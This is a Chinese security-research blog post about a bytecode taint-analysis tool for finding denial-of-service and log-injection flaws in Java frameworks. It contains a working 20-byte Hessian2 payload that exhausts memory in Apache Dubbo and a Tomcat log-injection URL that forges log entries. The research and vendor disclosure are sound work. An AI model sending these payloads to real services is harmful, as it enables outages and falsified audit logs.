跟着三梦学Java安全:半自动挖洞(二)

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 跟着三梦学Java安全:半自动挖洞

数组初始化检测

这部分是重点,因为三梦师傅挖到的JDK漏洞以及WeblogicCVE都是这种类型

所以我重点关注了该部分的功能

首先下面这两种数组初始化的字节码是不同的

int size = 10;
byte[] a = new byte[size];
Object[] o = new Object[size];

对应字节码如下,可以看到分别使用NEWARRAYANEWARRAY指令

BIPUSH 10
ISTORE 1
...
ILOAD 1
NEWARRAY T_BYTE
...
ILOAD 1
ANEWARRAY java/lang/Object

前两步类似以上内容,不再多说

  • visitCode方法中对每个参数设置污染
  • visitMethodInsn方法中处理污染的传递

第一种指令处理,对比上文的字节码可以很容易地读懂以下代码

@Override
public void visitIntInsn(int opcode, int operand) {
   // 普通类型数组初始化指令NEWARRAY
   if (opcode == Opcodes.NEWARRAY) {
       // 该指令执行会弹栈获取参数
       // 这个参数正是数组初始化容量
       // 所以此时栈顶元素如果是污点,则数组初始化容量可控
       if (operandStack.get(0).contains("source")) {
           if (Command.debug) {
               logger.info("find array dos: " + this.owner + "." + this.name);
          }
           // 记录结果
           arrayDoSResults.add(new DoSResult(
               this.classReference, this.methodReference, DoSResult.ARRAY_TYPE));
      }
  }
   super.visitIntInsn(opcode, operand);
}

另一种指令照猫画虎,注意重写方法名是:visitTypeInsn

@Override
public void visitTypeInsn(int opcode, String type) {
   if (opcode == Opcodes.ANEWARRAY) {
       if (operandStack.get(0).contains("source")) {
           if (Command.debug) {
               logger.info("find array dos: " + this.owner + "." + this.name);
          }
           arrayDoSResults.add(new DoSResult(
               this.classReference, this.methodReference, DoSResult.ARRAY_TYPE));
      }
  }
   super.visitTypeInsn(opcode, type);
}

代码不多,以下是我对Apache Dubbo的检测结果

bb5f83f0f9239cd7fc41a4213fd0e555_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

看似一团乱麻,实际上我根据经验,这种数据可控初始化长度的代码很有可能出现在反序列化和序列化的功能中,于是我检测搜索了下Hessian关键字,发现了基础有意思的地方


当我人工分析到com/alibaba/com/caucho/hessian/io/BasicDeserializer类的readObject方法时,发现下面这样的代码,这基本就是明写着数组初始化容量可控

case 0x1d:
case 0x1e:
case 0x1f:
// 反序列化中计算得出的某个长度值
   int length = code - 0x10;
   in.readInt();
// 长度传入了该方法
   return readLengthList(in, length);

在该方法中,存在大量以下这样的代码,用于反序列化数组

  • 数组初始化容量可控
  • for循环条件也可控
case INTEGER_ARRAY: {
   // length可控导致OOM
   int[] data = new int[length];
   in.addRef(data);
   // 另外for循环条件也可控
   for (int i = 0; i < data.length; i++)
       data[i] = in.readInt();
   return data;
}

所以说这里一定会存在问题,接下来是构造Payload产生OOM的DOS了

简单阅读了下Hessian2的源码,通过20字节的数据包即可导致OOM(这里就不分析了)

4ddec761cc4149f20fc171ff9ef6cb9d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

代码如下

public static void main(String[] args) throws Exception {
   byte[] payload = new byte[]{
      (byte) 0x70, (byte) 0x02, (byte) 0x00, (byte) 0x56,
      (byte) 0x07, (byte) 0x5B, (byte) 0x6F, (byte) 0x62,
      (byte) 0x6A, (byte) 0x65, (byte) 0x63, (byte) 0x74,
      (byte) 0x49, (byte) 0x7D, (byte) 0x2B, (byte) 0x75,
      (byte) 0x00, (byte) 0x4E, (byte) 0x4E, (byte) 0x4E
  };
   ByteArrayInputStream is = new ByteArrayInputStream(payload);
   Hessian2Input in = new Hessian2Input(is);
   in.startMessage();
   in.readObject();
   in.completeMessage();
   in.close();
}

值得一说的是,一个反序列化常见的方法readExternal中经常出现这种问题。例如三梦师傅文章中的很多DOS都是该方法中的问题。在扫描Spring-WebFlow框架中,我也发现了该问题,不过简单分析源码后发现这是一个内部的操作,完全不可控,不算漏洞

9f42d0df55dd25733fc24b33c510caba_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

另外在三个Apache冷门框架中也发现了该问题,提交后还没有回复我


集合初始化检测

参考ArrayList的构造方法源码,确实存在问题

public ArrayList(int initialCapacity) {
   if (initialCapacity > 0) {
       // OOM
       this.elementData = new Object[initialCapacity];
  } else if (initialCapacity == 0) {
       this.elementData = EMPTY_ELEMENTDATA;
  } else {
       throw new IllegalArgumentException("Illegal Capacity: "+
                                          initialCapacity);
  }
}

代码也都类似,不再放重复的部分

// 传递一个int参数的ArrayList构造方法
boolean listInit = (opcode == Opcodes.INVOKESPECIAL) &&
  (owner.equals("java/util/ArrayList")) &&
  (name.equals("<init>")) &&
  (desc.equals("(I)V"));
if (listInit) {
   // 这个int参数是否是污染
   if (operandStack.get(0).contains("source")) {
       if (Command.debug) {
           logger.info("find list dos: " + this.owner + "." + this.name);
      }
       listDoSResults.add(new DoSResult(
           this.classReference, this.methodReference, DoSResult.LIST_TYPE));
       super.visitMethodInsn(opcode, owner, name, desc, itf);
       return;
  }
}

参考HashMap的构造方法源码,这里有一个MAXIMUM_CAPACITY限制,所以可能不存在OOM这种DoS

public HashMap(int initialCapacity, float loadFactor) {
   if (initialCapacity < 0)
       throw new IllegalArgumentException("Illegal initial capacity: " +
                                          initialCapacity);
   if (initialCapacity > MAXIMUM_CAPACITY)
       initialCapacity = MAXIMUM_CAPACITY;
   if (loadFactor <= 0 || Float.isNaN(loadFactor))
       throw new IllegalArgumentException("Illegal load factor: " +
                                          loadFactor);
   this.loadFactor = loadFactor;
   this.threshold = tableSizeFor(initialCapacity);
}


拓展:Log4j2检测

这里的检测并不是从依赖层面的检测,而是对于精准的触发点检测:例如某个类的某个方法的日志内容可控,因此可能存在Log4j2Shell漏洞。这并不是没有意义的,相对于盲打,也许存在一定的意义

对某一方法检测:是否存在参数能影响到Log4j2传入参数

进而结合人工分析是否存在Lo4j2Shell漏洞

@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
   // org.apache.logging.log4j.Logger
   boolean log4jMatches = (opcode == Opcodes.INVOKEINTERFACE) &&
      (owner.equals("org/apache/logging/log4j/Logger")) &&
      ((name.equals("error")) || name.equals("warn") || name.equals("info"));
   if (log4jMatches) {
       if (operandStack.get(0).contains("source")) {
           if (Command.debug) {
               logger.info("find log4j2: " + this.owner + "." + this.name);
          }
           logResults.add(new LogResult(this.classReference, this.methodReference));
           super.visitMethodInsn(opcode, owner, name, desc, itf);
           return;
      }
  }
}


拓展:日志注入

前段时间Spring框架爆出日志注入的CVE

CVE-2021-22096 and CVE-2021-22060:

https://tanzu.vmware.com/security/cve-2021-22096

https://tanzu.vmware.com/security/cve-2021-22060


在OWASP网站中有相关介绍:https://owasp.org/www-community/attacks/Log_Injection


核心检测代码实现

// org.slf4j.Logger
boolean slf4jMatches = (opcode == Opcodes.INVOKEINTERFACE) &&
  (owner.equals("org/slf4j/Logger")) &&
  ((name.equals("error")) || name.equals("warn") || name.equals("info")) &&
  ((desc.equals("(Ljava/lang/String;Ljava/lang/Object;)V")) ||
    desc.equals("(Ljava/lang/String;)V"));
// org.apache.logging.log4j.Logger
boolean log4jMatches = (opcode == Opcodes.INVOKEINTERFACE) &&
  (owner.equals("org/apache/logging/log4j/Logger")) &&
  ((name.equals("error")) || name.equals("warn") || name.equals("info"));
// org.apache.juli.logging.Log;
boolean tomcatMatches = owner.equals("org/apache/juli/logging/Log") &&
  ((name.equals("error")) || name.equals("warn") || name.equals("info"));
// org.apache.dubbo.common.logger.Logger
boolean dubboMatches = owner.equals("org/apache/dubbo/common/logger/Logger") &&
  ((name.equals("error")) || name.equals("warn") || name.equals("info"));
if (slf4jMatches || tomcatMatches || log4jMatches || dubboMatches) {
   if (operandStack.get(0).contains("source")) {
       if (Command.debug) {
           logger.info("find log inject: " + this.owner + "." + this.name);
      }
       logResults.add(new LogResult(this.classReference, this.methodReference));
       super.visitMethodInsn(opcode, owner, name, desc, itf);
       return;
  }
}

扫描发现很多框架都存在这个问题

上个月我向TomcatShiro也报告了该问题:Tomcat如果开启调试日志且启用CSRF防御,则存在漏洞

以下是Tomcat报告的内容和回复


A simple test of Tomcat Log Library

import org.apache.juli.logging.Log;
import org.apache.juli.logging.LogFactory;
public class Main {
   public static void main(String[] args) {
       Log log = LogFactory.getLog(Main.class);
       log.error("test\nSEVERE: evil log");
  }
}

Output

SEVERE: test
SEVERE: evil log


The above proves that the Tomcat log library does not handle malicious characters, so I try to find the place of vulnerability injection in the Tomcat source code


org\apache\catalina\filters\CsrfPreventionFilter.java

request path is a controllable variable

@Override
public void doFilter(ServletRequest request, ServletResponse response,
                    FilterChain chain) throws IOException, ServletException {
  ...
   if (!skipNonceCheck) {
       String previousNonce =
           req.getParameter(nonceRequestParameterName);
      ...
       if(previousNonce == null) {
           if(log.isDebugEnabled()) {
               // path is a controllable variable
               log.debug("Rejecting request for " + getRequestedPath(req)
                         + ", session "
                         + (null == session ? "(none)" : session.getId())
                         + " with no CSRF nonce found in request");
          }
          ...

Exploit

http://127.0.0.1:8080/test%0a01-Feb-2022%2011:02:30.432%20FINE%20%5bhttp-nio-8080-exec-6%5d%20evil%20log%20%0a

(url decode value: test\n01-Feb-2022 11:02:30.432 FINE [http-nio-8080-exec-6] evil log\n)


d91d8abf6b29224a90b1cc1cea58daca_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


On the exploitation of vulnerabilities: for example, add some confused logs, such as forged IP, forged classes, forged error reports and exceptions, which brings trouble to the operation and maintenance personnel and auditors. Further, if there is an internal log analysis platform, and the xxx is wrapped by the script tag, that is, JavaScript code, the platform reading the log may have XSS vulnerabilities. Other exploitation of vulnerabilities refer to OWASP:https://owasp.org/www-community/attacks/Log_Injection


You can refer to the repair of spring

https://github.com/spring-projects/spring-framework/commit/90fdcf88d832eb6d8f635d3aa727c762b273845b#diff-c69932140a2ceec80b7559a7ec9f84e34fd89b2e6f03d3ba0d5b26bc69ffe1c3

https://github.com/spring-projects/spring-framework/commit/e8f6cd10a543d4f03da8e8a9750091ec9291e703#diff-c69932140a2ceec80b7559a7ec9f84e34fd89b2e6f03d3ba0d5b26bc69ffe1c3


Apache Tomcat认为该问题不算是漏洞,但确实是一个问题

9e368f82534b72bdfd49b76aff20db97_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


总结

最后一篇炒冷饭文章了,以后不会写这种技术相关的文章了

另外已经开学,没有时间写文章,应付学校事情了

还有更多的漏洞提交与回复,为避免文章又臭又长,所以简单选取其中比价有价值的部分展示和分析

工具代码:

https://github.com/4ra1n/DoSer

鸡肋成果:

  • Apache Dubbo 拒绝服务漏洞(能复现有危害,官方不修复因为影响性能)
  • Alibaba Druid 拒绝服务漏洞(触发条件较高,能复现有危害,官方不认)
  • Apache Shiro 日志注入漏洞(官方认可,但认为该漏洞应该报告给Log4j)
  • Apache Hadoop 日志注入漏洞(官方认可,但由于危害过低不给CVE)
  • Apache Log4j2 日志注入漏洞(官方认为这不是漏洞,而是一种功能的改进)
  • Apache Tomcat 日志注入漏洞(官方认为这不是漏洞,而是一种功能的改进)
  • Apache ActiveMQ/Apache Kafka/Apache Commons/...(不回复)

作者刚入门,经验不足,所以只能搞下鸡肋漏洞。如果是经验丰富的师傅,根据该原理也许可以批量挖高危洞

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
打赏
0
0
0
0
16
分享
相关文章
Java智慧工地(源码):数字化管理提升施工安全与质量
随着科技的发展,智慧工地已成为建筑行业转型升级的重要手段。依托智能感知设备和云物互联技术,智慧工地为工程管理带来了革命性的变革,实现了项目管理的简单化、远程化和智能化。
38 5
Java 异常处理:筑牢程序稳定性的 “安全网”
本文深入探讨Java异常处理,涵盖异常的基础分类、处理机制及最佳实践。从`Error`与`Exception`的区分,到`try-catch-finally`和`throws`的运用,再到自定义异常的设计,全面解析如何有效管理程序中的异常情况,提升代码的健壮性和可维护性。通过实例代码,帮助开发者掌握异常处理技巧,确保程序稳定运行。
84 2
|
4月前
|
安全问题已经成为软件开发中不可忽视的重要议题。对于使用Java语言开发的应用程序来说,安全性更是至关重要
在当今网络环境下,Java应用的安全性至关重要。本文深入探讨了Java安全编程的最佳实践,包括代码审查、输入验证、输出编码、访问控制和加密技术等,帮助开发者构建安全可靠的应用。通过掌握相关技术和工具,开发者可以有效防范安全威胁,确保应用的安全性。
82 4
Java 泛型深入解析:类型安全与灵活性的平衡
Java 泛型通过参数化类型实现了代码重用和类型安全,提升了代码的可读性和灵活性。本文深入探讨了泛型的基本原理、常见用法及局限性,包括泛型类、方法和接口的使用,以及上界和下界通配符等高级特性。通过理解和运用这些技巧,开发者可以编写更健壮和通用的代码。
|
6月前
|
java安全特性
java安全特性
48 8
【性能与安全的双重飞跃】JDK 22外部函数与内存API:JNI的继任者,引领Java新潮流!
【9月更文挑战第7天】JDK 22外部函数与内存API的发布,标志着Java在性能与安全性方面实现了双重飞跃。作为JNI的继任者,这一新特性不仅简化了Java与本地代码的交互过程,还提升了程序的性能和安全性。我们有理由相信,在外部函数与内存API的引领下,Java将开启一个全新的编程时代,为开发者们带来更加高效、更加安全的编程体验。让我们共同期待Java在未来的辉煌成就!
132 11
【本地与Java无缝对接】JDK 22外部函数和内存API:JNI终结者,性能与安全双提升!
【9月更文挑战第6天】JDK 22的外部函数和内存API无疑是Java编程语言发展史上的一个重要里程碑。它不仅解决了JNI的诸多局限和挑战,还为Java与本地代码的互操作提供了更加高效、安全和简洁的解决方案。随着FFM API的逐渐成熟和完善,我们有理由相信,Java将在更多领域展现出其强大的生命力和竞争力。让我们共同期待Java编程新纪元的到来!
225 11
java系列之~~网络通信安全 非对称加密算法的介绍说明
这篇文章介绍了非对称加密算法,包括其定义、加密解密过程、数字签名功能,以及与对称加密算法的比较,并解释了非对称加密在网络安全中的应用,特别是在公钥基础设施和信任网络中的重要性。
【Java集合类面试十二】、HashMap为什么线程不安全?
HashMap在并发环境下执行put操作可能导致循环链表的形成,进而引起死循环,因而它是线程不安全的。
深入探讨Java安全编程的最佳实践,帮助开发者保障应用的安全性
在网络安全日益重要的今天,确保Java应用的安全性成为了开发者必须面对的课题。本文介绍Java安全编程的最佳实践,包括利用FindBugs等工具进行代码审查、严格验证用户输入以防攻击、运用输出编码避免XSS等漏洞、实施访问控制确保授权访问、采用加密技术保护敏感数据等。此外,还强调了使用最新Java版本、遵循最小权限原则及定期安全测试的重要性。通过这些实践,开发者能有效提升Java应用的安全防护水平。
79 2

热门文章

最新文章

AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等